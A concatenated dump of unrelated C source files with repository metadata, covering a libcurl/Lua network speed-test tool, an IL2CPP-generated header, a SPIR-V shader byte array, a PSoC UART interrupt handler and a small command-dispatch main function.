lua_pushnumber(L, (double)dlnow); /* push 2nd argument */
lua_pushnumber(L, (double)uploadSpeed); /* push 3st argument */
lua_pushnumber(L, (double)ulnow); /* push 4nd argument */
/* do the call (4 arguments, 1 result) */
if (lua_pcall(L, 4, 1, 0))
perror("error running function `f': %s");
}
}
}
//Empty write for download speed test.
size_t write_empty(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}
//Get the body response form an URL
const char *get_body(const char *URL)
{
CURL *curl;
CURLcode res;
curl = curl_easy_init();
if (curl)
{
struct string s;
init_string(&s);
curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_string);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
return s.ptr;
}
curl_easy_cleanup(curl);
}
/* this is how the CURLOPT_XFERINFOFUNCTION works */
//This is the function for every call in download or upload
static int call_back(void *p, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow)
{
//Gets all of the information from the struct
struct speedtestprogress *myp = (struct speedtestprogress *)p;
CURL *curl = myp->curl;
TIMETYPE curtime = 0;
lua_State *L = myp->L;
curl_easy_getinfo(curl, TIMEOPT, &curtime);
if ((curtime - myp->lastruntime) >= MINIMAL_PROGRESS_FUNCTIONALITY_INTERVAL)
{
myp->lastruntime = curtime;
curl_off_t downloadSpeed;
curl_off_t uploadSpeed;
curl_easy_getinfo(curl, CURLINFO_SPEED_DOWNLOAD_T, &downloadSpeed);
curl_easy_getinfo(curl, CURLINFO_SPEED_UPLOAD_T, &uploadSpeed);
for (size_t i = 0; i < threadCount; i++)
{
if (pthread_self() == results[i].tid)
{
results[i].downloadSpeed = (double)downloadSpeed;
results[i].uploadSpeed = (double)uploadSpeed;
results[i].dlnow = (double)dlnow;
results[i].ulnow = (double)ulnow;
break;
}
}
}
//Stops the function if the set time limit is reached.
if (curtime >= myp->testtime)
return 1;
//Stops the function if a certain byte limit is reached.
if (dlnow > STOP_DOWNLOAD_AFTER_THIS_MANY_BYTES)
return 1;
return 0;
}
void *test_thread(void *input)
{
struct testargs *args = (struct testargs *)input;
char *link = args->link;
double testTime = args->testTime;
int upload = args->upload;
lua_State *L = args->L;
CURL *curl = NULL;
CURLcode res = CURLE_FAILED_INIT;
FILE *fp = NULL;
struct curl_slist *header_list = NULL;
struct speedtestprogress prog;
//Initiating the curl.
curl = curl_easy_init();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 0L);
//Sets the xferinfo callback.
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION, call_back);
/* pass the struct pointer into the xferinfo function, note that this is
an alias to CURLOPT_PROGRESSDATA */
//Sets the given data to the function.
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, &prog);
//If it is an upload test does also this.
if (upload == 1)
{
fp = fopen("/dev/zero", "r");
if (!fp)
goto cleanup;
double sz = 92233720368547758;
//Adds POST to the curl.
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE,
(curl_off_t)sz);
//Selects the file form it is read.
curl_easy_setopt(curl, CURLOPT_READDATA, fp);
//Set the header
header_list = curl_slist_append(header_list, "Expect:");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header_list);
curl_easy_setopt(curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
/* Include server headers in the output */
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
}
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_empty);
prog.lastruntime = 0;
prog.curl = curl;
prog.L = L;
prog.testtime = testTime;
curl_easy_setopt(curl, CURLOPT_URL, link);
res = curl_easy_perform(curl);
TIMETYPE curtime = 0;
curl_easy_getinfo(curl, TIMEOPT, &curtime);
curl_easy_cleanup(curl);
if (curtime < prog.testtime)
{
test_thread(input);
}
}
cleanup:
if (fp != NULL)
{
fclose(fp);
fp = NULL;
}
return NULL;
}
//Tests the internet speed by the given link adn if it is a download or an upload.
int test_internet_speed(const char *link, double testTime, int upload, lua_State *L, int thcount)
{
if (threadCount == 0)
{
threadCount = (int)sysconf(_SC_NPROCESSORS_ONLN);
}
else{
threadCount = thcount;
}
struct testargs *args = (struct testargs *)malloc(sizeof(struct testargs));
args->link = link;
args->testTime = testTime;
args->upload = upload;
args->L = L;
pthread_t resultId;
pthread_create(&resultId, NULL, write_results, L);
pthread_t tid[threadCount];
for (int i = 0; i < threadCount; i++)
{
pthread_create(&tid[i], NULL, test_thread, (void *)args);
results[i].tid = tid[i];
}
pthread_join(resultId, NULL);
for (int i = 0; i < threadCount; i++)
{
pthread_join(tid[i], NULL);
}
return (int)1;
}
void handle_sigint(int sig)
{
lua_getglobal(stateL, "close");
/* do the call (4 arguments, 1 result) */
lua_pcall(stateL, 0, 0, 0);
exit(1);
}
void send_signals()
{
FILE *fp;
if ((fp = fopen("/var/run/speedtest.pid", "r")))
{
char str[60];
fgets(str, 60, fp);
int num = atoi(str);
kill(num, SIGINT);
fclose(fp);
}
}
void create_pid()
{
FILE *fp;
fp = fopen("/var/run/speedtest.pid", "w");
fprintf(fp, "%d", getpid());
fclose(fp);
}
| [
"ule2ga@yahoo.com"
] | ule2ga@yahoo.com |
8b31d71701c0abd16a208be6a8ead1c7fea2addb | 1fabbdfd1ca9ea1b6808893e12bd907eb74de414 | /xcode/Classes/Native/mscorlib_System_Collections_Generic_Comparer_1_gen_246.h | 4ac33acc28ed2209ed3591d2d58b1b0d79e1d884 | [] | no_license | Klanly/TutorialPackageClient | 6f889e96c40ab13c97d107708ae8f3c71a484301 | b9d61ba2f287c491c9565b432f852980ec3fee28 | refs/heads/master | 2020-12-03T01:42:35.256114 | 2016-11-01T02:40:21 | 2016-11-01T02:40:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 523 | h | #pragma once
#include <stdint.h>
// System.Collections.Generic.Comparer`1<Games.ImpactModle.ClientImpactInfo>
struct Comparer_1_t18329;
// System.Object
#include "mscorlib_System_Object.h"
// System.Collections.Generic.Comparer`1<Games.ImpactModle.ClientImpactInfo>
struct Comparer_1_t18329 : public Object_t
{
};
struct Comparer_1_t18329_StaticFields{
// System.Collections.Generic.Comparer`1<T> System.Collections.Generic.Comparer`1<Games.ImpactModle.ClientImpactInfo>::_default
Comparer_1_t18329 * ____default;
};
| [
"bu213200@gmail.com"
] | bu213200@gmail.com |
4a752ce7851c45eefdaa18f5633a7ac703266c87 | 2bce6da26d51c32e9ff2bda3c564136c622e596c | /source/viewer/shaders_bin/vk/vs_color.h | 25435f954b08f90b8d73a41c0055124d6af3cfe8 | [
"MIT"
] | permissive | jpcy/xatlas | 37dc66f4c2cc45130926d1d8723b94f85964a918 | f700c7790aaa030e794b52ba7791a05c085faf0c | refs/heads/master | 2023-08-15T00:11:07.888384 | 2022-07-25T23:06:01 | 2022-07-25T23:06:01 | 140,512,438 | 1,662 | 179 | MIT | 2023-08-08T17:30:59 | 2018-07-11T02:43:53 | C++ | UTF-8 | C | false | false | 7,871 | h | static const uint8_t vs_color_vk[1058] =
{
0x56, 0x53, 0x48, 0x08, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x8b, 0xef, 0x49, 0x01, 0x00, 0x0f, 0x75, // VSH........I...u
0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x56, 0x69, 0x65, 0x77, 0x50, 0x72, 0x6f, 0x6a, 0x04, 0x01, // _modelViewProj..
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x03, 0x02, 0x23, 0x07, 0x00, 0x00, // ............#...
0x01, 0x00, 0x09, 0x00, 0x08, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, // ......`.........
0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x47, 0x4c, // ..............GL
0x53, 0x4c, 0x2e, 0x73, 0x74, 0x64, 0x2e, 0x34, 0x35, 0x30, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, // SL.std.450......
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x09, 0x00, 0x00, 0x00, // ................
0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x2e, 0x00, // ......main......
0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x03, 0x00, // ..2...;...>.....
0x03, 0x00, 0x05, 0x00, 0x00, 0x00, 0xf4, 0x01, 0x00, 0x00, 0x05, 0x00, 0x04, 0x00, 0x04, 0x00, // ................
0x00, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00, 0x21, 0x00, // ..main........!.
0x00, 0x00, 0x55, 0x6e, 0x69, 0x66, 0x6f, 0x72, 0x6d, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x00, 0x00, // ..UniformBlock..
0x00, 0x00, 0x06, 0x00, 0x07, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x5f, // ......!.......u_
0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x56, 0x69, 0x65, 0x77, 0x50, 0x72, 0x6f, 0x6a, 0x00, 0x05, 0x00, // modelViewProj...
0x03, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x05, 0x00, 0x2e, 0x00, // ..#.............
0x00, 0x00, 0x61, 0x5f, 0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x30, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, // ..a_color0......
0x05, 0x00, 0x32, 0x00, 0x00, 0x00, 0x61, 0x5f, 0x70, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f, 0x6e, // ..2...a_position
0x00, 0x00, 0x05, 0x00, 0x0a, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x40, 0x65, 0x6e, 0x74, 0x72, 0x79, // ......;...@entry
0x50, 0x6f, 0x69, 0x6e, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x2e, 0x67, 0x6c, 0x5f, 0x50, // PointOutput.gl_P
0x6f, 0x73, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x05, 0x00, 0x09, 0x00, 0x3e, 0x00, // osition.......>.
0x00, 0x00, 0x40, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x4f, 0x75, 0x74, // ..@entryPointOut
0x70, 0x75, 0x74, 0x2e, 0x76, 0x5f, 0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x30, 0x00, 0x00, 0x48, 0x00, // put.v_color0..H.
0x04, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x48, 0x00, // ..!...........H.
0x05, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, // ..!.......#.....
0x00, 0x00, 0x48, 0x00, 0x05, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, // ..H...!.........
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x47, 0x00, 0x03, 0x00, 0x21, 0x00, 0x00, 0x00, 0x02, 0x00, // ......G...!.....
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x23, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, // ..G...#...".....
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x23, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, // ..G...#...!.....
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, // ..G.............
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x01, 0x00, // ..G...2.........
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, // ..G...;.........
0x00, 0x00, 0x47, 0x00, 0x04, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, // ..G...>.........
0x00, 0x00, 0x13, 0x00, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x21, 0x00, 0x03, 0x00, 0x03, 0x00, // ..........!.....
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x16, 0x00, 0x03, 0x00, 0x06, 0x00, 0x00, 0x00, 0x20, 0x00, // .............. .
0x00, 0x00, 0x17, 0x00, 0x04, 0x00, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x04, 0x00, // ................
0x00, 0x00, 0x17, 0x00, 0x04, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x03, 0x00, // ................
0x00, 0x00, 0x15, 0x00, 0x04, 0x00, 0x13, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, // .......... .....
0x00, 0x00, 0x2b, 0x00, 0x04, 0x00, 0x06, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, // ..+.............
0x80, 0x3f, 0x2b, 0x00, 0x04, 0x00, 0x13, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, // .?+.............
0x00, 0x00, 0x18, 0x00, 0x04, 0x00, 0x20, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, // ...... .........
0x00, 0x00, 0x1e, 0x00, 0x03, 0x00, 0x21, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, 0x00, // ......!... ... .
0x04, 0x00, 0x22, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x3b, 0x00, // ..".......!...;.
0x04, 0x00, 0x22, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00, // .."...#....... .
0x04, 0x00, 0x24, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, 0x00, // ..$....... ... .
0x04, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x3b, 0x00, // ..-...........;.
0x04, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, // ..-........... .
0x04, 0x00, 0x31, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x3b, 0x00, // ..1...........;.
0x04, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, // ..1...2....... .
0x04, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x3b, 0x00, // ..:...........;.
0x04, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x3b, 0x00, // ..:...;.......;.
0x04, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x36, 0x00, // ..:...>.......6.
0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, // ................
0x00, 0x00, 0xf8, 0x00, 0x02, 0x00, 0x05, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x04, 0x00, 0x07, 0x00, // ..........=.....
0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x04, 0x00, 0x09, 0x00, // ../.......=.....
0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x51, 0x00, 0x05, 0x00, 0x06, 0x00, // ..3...2...Q.....
0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, // ..Y...3.......Q.
0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x01, 0x00, // ......Z...3.....
0x00, 0x00, 0x51, 0x00, 0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x33, 0x00, // ..Q.......[...3.
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x50, 0x00, 0x07, 0x00, 0x07, 0x00, 0x00, 0x00, 0x5c, 0x00, // ......P.........
0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x15, 0x00, // ..Y...Z...[.....
0x00, 0x00, 0x41, 0x00, 0x05, 0x00, 0x24, 0x00, 0x00, 0x00, 0x5d, 0x00, 0x00, 0x00, 0x23, 0x00, // ..A...$...]...#.
0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x04, 0x00, 0x20, 0x00, 0x00, 0x00, 0x5e, 0x00, // ......=... ...^.
0x00, 0x00, 0x5d, 0x00, 0x00, 0x00, 0x90, 0x00, 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x5f, 0x00, // ..]..........._.
0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x03, 0x00, 0x3b, 0x00, // ......^...>...;.
0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x03, 0x00, 0x3e, 0x00, 0x00, 0x00, 0x2f, 0x00, // .._...>...>.../.
0x00, 0x00, 0xfd, 0x00, 0x01, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x02, 0x05, 0x00, 0x01, 0x00, // ......8.........
0x40, 0x00, // @.
};
| [
"young.jpc@gmail.com"
] | young.jpc@gmail.com |
c2716c5aa399145a2b190cc2e05a0bc7e4b96c5d | 5ad062b6afc5bf7e85c8e92f0fc24c21a2699598 | /81-00024-01.cydsn/Generated_Source/PSoC4/UART_In_ISR.c | 1fde722caae3279bbc9a370815399acceeb1996e | [] | no_license | feniex/Firm-AI-Cube | 717b4fb609ca739c61e854648aa8d67e3f37b7f8 | 754dbfa236b9d91651e2b5572efc24d4047745b1 | refs/heads/master | 2021-03-27T15:57:30.556340 | 2019-08-07T00:21:48 | 2019-08-07T00:21:48 | 117,143,353 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 12,342 | c | /*******************************************************************************
* File Name: UART_In_ISR.c
* Version 1.70
*
* Description:
* API for controlling the state of an interrupt.
*
*
* Note:
*
********************************************************************************
* Copyright 2008-2015, Cypress Semiconductor Corporation. All rights reserved.
* You may use this file only in accordance with the license, terms, conditions,
* disclaimers, and limitations in the end user license agreement accompanying
* the software package with which this file was provided.
*******************************************************************************/
#include <cydevice_trm.h>
#include <CyLib.h>
#include <UART_In_ISR.h>
#if !defined(UART_In_ISR__REMOVED) /* Check for removal by optimization */
/*******************************************************************************
* Place your includes, defines and code here
********************************************************************************/
/* `#START UART_In_ISR_intc` */
#include "TemperatureCommManager.h"
/* `#END` */
extern cyisraddress CyRamVectors[CYINT_IRQ_BASE + CY_NUM_INTERRUPTS];
/* Declared in startup, used to set unused interrupts to. */
CY_ISR_PROTO(IntDefaultHandler);
/*******************************************************************************
* Function Name: UART_In_ISR_Start
********************************************************************************
*
* Summary:
* Set up the interrupt and enable it. This function disables the interrupt,
* sets the default interrupt vector, sets the priority from the value in the
* Design Wide Resources Interrupt Editor, then enables the interrupt to the
* interrupt controller.
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_Start(void)
{
/* For all we know the interrupt is active. */
UART_In_ISR_Disable();
/* Set the ISR to point to the UART_In_ISR Interrupt. */
UART_In_ISR_SetVector(&UART_In_ISR_Interrupt);
/* Set the priority. */
UART_In_ISR_SetPriority((uint8)UART_In_ISR_INTC_PRIOR_NUMBER);
/* Enable it. */
UART_In_ISR_Enable();
}
/*******************************************************************************
* Function Name: UART_In_ISR_StartEx
********************************************************************************
*
* Summary:
* Sets up the interrupt and enables it. This function disables the interrupt,
* sets the interrupt vector based on the address passed in, sets the priority
* from the value in the Design Wide Resources Interrupt Editor, then enables
* the interrupt to the interrupt controller.
*
* When defining ISR functions, the CY_ISR and CY_ISR_PROTO macros should be
* used to provide consistent definition across compilers:
*
* Function definition example:
* CY_ISR(MyISR)
* {
* }
* Function prototype example:
* CY_ISR_PROTO(MyISR);
*
* Parameters:
* address: Address of the ISR to set in the interrupt vector table.
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_StartEx(cyisraddress address)
{
/* For all we know the interrupt is active. */
UART_In_ISR_Disable();
/* Set the ISR to point to the UART_In_ISR Interrupt. */
UART_In_ISR_SetVector(address);
/* Set the priority. */
UART_In_ISR_SetPriority((uint8)UART_In_ISR_INTC_PRIOR_NUMBER);
/* Enable it. */
UART_In_ISR_Enable();
}
/*******************************************************************************
* Function Name: UART_In_ISR_Stop
********************************************************************************
*
* Summary:
* Disables and removes the interrupt.
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_Stop(void)
{
/* Disable this interrupt. */
UART_In_ISR_Disable();
/* Set the ISR to point to the passive one. */
UART_In_ISR_SetVector(&IntDefaultHandler);
}
/*******************************************************************************
* Function Name: UART_In_ISR_Interrupt
********************************************************************************
*
* Summary:
* The default Interrupt Service Routine for UART_In_ISR.
*
* Add custom code between the START and END comments to keep the next version
* of this file from over-writing your code.
*
* Note You may use either the default ISR by using this API, or you may define
* your own separate ISR through ISR_StartEx().
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
CY_ISR(UART_In_ISR_Interrupt)
{
#ifdef UART_In_ISR_INTERRUPT_INTERRUPT_CALLBACK
UART_In_ISR_Interrupt_InterruptCallback();
#endif /* UART_In_ISR_INTERRUPT_INTERRUPT_CALLBACK */
/* Place your Interrupt code here. */
/* `#START UART_In_ISR_Interrupt` */
processTemperatureByteReceivedHandler();
/* `#END` */
}
/*******************************************************************************
* Function Name: UART_In_ISR_SetVector
********************************************************************************
*
* Summary:
* Change the ISR vector for the Interrupt. Note calling UART_In_ISR_Start
* will override any effect this method would have had. To set the vector
* before the component has been started use UART_In_ISR_StartEx instead.
*
* When defining ISR functions, the CY_ISR and CY_ISR_PROTO macros should be
* used to provide consistent definition across compilers:
*
* Function definition example:
* CY_ISR(MyISR)
* {
* }
*
* Function prototype example:
* CY_ISR_PROTO(MyISR);
*
* Parameters:
* address: Address of the ISR to set in the interrupt vector table.
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_SetVector(cyisraddress address)
{
CyRamVectors[CYINT_IRQ_BASE + UART_In_ISR__INTC_NUMBER] = address;
}
/*******************************************************************************
* Function Name: UART_In_ISR_GetVector
********************************************************************************
*
* Summary:
* Gets the "address" of the current ISR vector for the Interrupt.
*
* Parameters:
* None
*
* Return:
* Address of the ISR in the interrupt vector table.
*
*******************************************************************************/
cyisraddress UART_In_ISR_GetVector(void)
{
return CyRamVectors[CYINT_IRQ_BASE + UART_In_ISR__INTC_NUMBER];
}
/*******************************************************************************
* Function Name: UART_In_ISR_SetPriority
********************************************************************************
*
* Summary:
* Sets the Priority of the Interrupt.
*
* Note calling UART_In_ISR_Start or UART_In_ISR_StartEx will
* override any effect this API would have had. This API should only be called
* after UART_In_ISR_Start or UART_In_ISR_StartEx has been called.
* To set the initial priority for the component, use the Design-Wide Resources
* Interrupt Editor.
*
* Note This API has no effect on Non-maskable interrupt NMI).
*
* Parameters:
* priority: Priority of the interrupt, 0 being the highest priority
* PSoC 3 and PSoC 5LP: Priority is from 0 to 7.
* PSoC 4: Priority is from 0 to 3.
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_SetPriority(uint8 priority)
{
uint8 interruptState;
uint32 priorityOffset = ((UART_In_ISR__INTC_NUMBER % 4u) * 8u) + 6u;
interruptState = CyEnterCriticalSection();
*UART_In_ISR_INTC_PRIOR = (*UART_In_ISR_INTC_PRIOR & (uint32)(~UART_In_ISR__INTC_PRIOR_MASK)) |
((uint32)priority << priorityOffset);
CyExitCriticalSection(interruptState);
}
/*******************************************************************************
* Function Name: UART_In_ISR_GetPriority
********************************************************************************
*
* Summary:
* Gets the Priority of the Interrupt.
*
* Parameters:
* None
*
* Return:
* Priority of the interrupt, 0 being the highest priority
* PSoC 3 and PSoC 5LP: Priority is from 0 to 7.
* PSoC 4: Priority is from 0 to 3.
*
*******************************************************************************/
uint8 UART_In_ISR_GetPriority(void)
{
uint32 priority;
uint32 priorityOffset = ((UART_In_ISR__INTC_NUMBER % 4u) * 8u) + 6u;
priority = (*UART_In_ISR_INTC_PRIOR & UART_In_ISR__INTC_PRIOR_MASK) >> priorityOffset;
return (uint8)priority;
}
/*******************************************************************************
* Function Name: UART_In_ISR_Enable
********************************************************************************
*
* Summary:
* Enables the interrupt to the interrupt controller. Do not call this function
* unless ISR_Start() has been called or the functionality of the ISR_Start()
* function, which sets the vector and the priority, has been called.
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_Enable(void)
{
/* Enable the general interrupt. */
*UART_In_ISR_INTC_SET_EN = UART_In_ISR__INTC_MASK;
}
/*******************************************************************************
* Function Name: UART_In_ISR_GetState
********************************************************************************
*
* Summary:
* Gets the state (enabled, disabled) of the Interrupt.
*
* Parameters:
* None
*
* Return:
* 1 if enabled, 0 if disabled.
*
*******************************************************************************/
uint8 UART_In_ISR_GetState(void)
{
/* Get the state of the general interrupt. */
return ((*UART_In_ISR_INTC_SET_EN & (uint32)UART_In_ISR__INTC_MASK) != 0u) ? 1u:0u;
}
/*******************************************************************************
* Function Name: UART_In_ISR_Disable
********************************************************************************
*
* Summary:
* Disables the Interrupt in the interrupt controller.
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_Disable(void)
{
/* Disable the general interrupt. */
*UART_In_ISR_INTC_CLR_EN = UART_In_ISR__INTC_MASK;
}
/*******************************************************************************
* Function Name: UART_In_ISR_SetPending
********************************************************************************
*
* Summary:
* Causes the Interrupt to enter the pending state, a software method of
* generating the interrupt.
*
* Parameters:
* None
*
* Return:
* None
*
* Side Effects:
* If interrupts are enabled and the interrupt is set up properly, the ISR is
* entered (depending on the priority of this interrupt and other pending
* interrupts).
*
*******************************************************************************/
void UART_In_ISR_SetPending(void)
{
*UART_In_ISR_INTC_SET_PD = UART_In_ISR__INTC_MASK;
}
/*******************************************************************************
* Function Name: UART_In_ISR_ClearPending
********************************************************************************
*
* Summary:
* Clears a pending interrupt in the interrupt controller.
*
* Note Some interrupt sources are clear-on-read and require the block
* interrupt/status register to be read/cleared with the appropriate block API
* (GPIO, UART, and so on). Otherwise the ISR will continue to remain in
* pending state even though the interrupt itself is cleared using this API.
*
* Parameters:
* None
*
* Return:
* None
*
*******************************************************************************/
void UART_In_ISR_ClearPending(void)
{
*UART_In_ISR_INTC_CLR_PD = UART_In_ISR__INTC_MASK;
}
#endif /* End check for removal by optimization */
/* [] END OF FILE */
| [
"K.Hale@Feniex.com"
] | K.Hale@Feniex.com |
c0e3f6451e7113a77f11bcbe81d89dff348ce830 | 6c5e39bf4b20e434a1fd2503b7438598e9b2ab24 | /lab_10_03_02/src/main.c | 0e94d36ab34ff26a63e4a5e6d3160771d0112281 | [] | no_license | RullDeef/c-lab | bcbf8eea497825aacf78caadb6ce100c0c820552 | 9856fb5cb92976863b667416a1534c6aa196cf13 | refs/heads/master | 2023-06-27T21:31:19.735178 | 2021-01-19T23:14:52 | 2021-01-19T23:14:52 | 387,733,033 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 375 | c | #include <stdio.h>
#include <stdlib.h>
#include "num_dcmp.h"
#include "commander.h"
int main(void)
{
int status = EXIT_FAILURE;
char *line = NULL;
size_t line_len = 0;
if (getline(&line, &line_len, stdin) > 0)
{
cmd_type_t cmd = cmd_parse(line);
status = cmd_execute(cmd);
}
free(line);
return status;
}
| [
"klimenko0037@gmail.com"
] | klimenko0037@gmail.com |
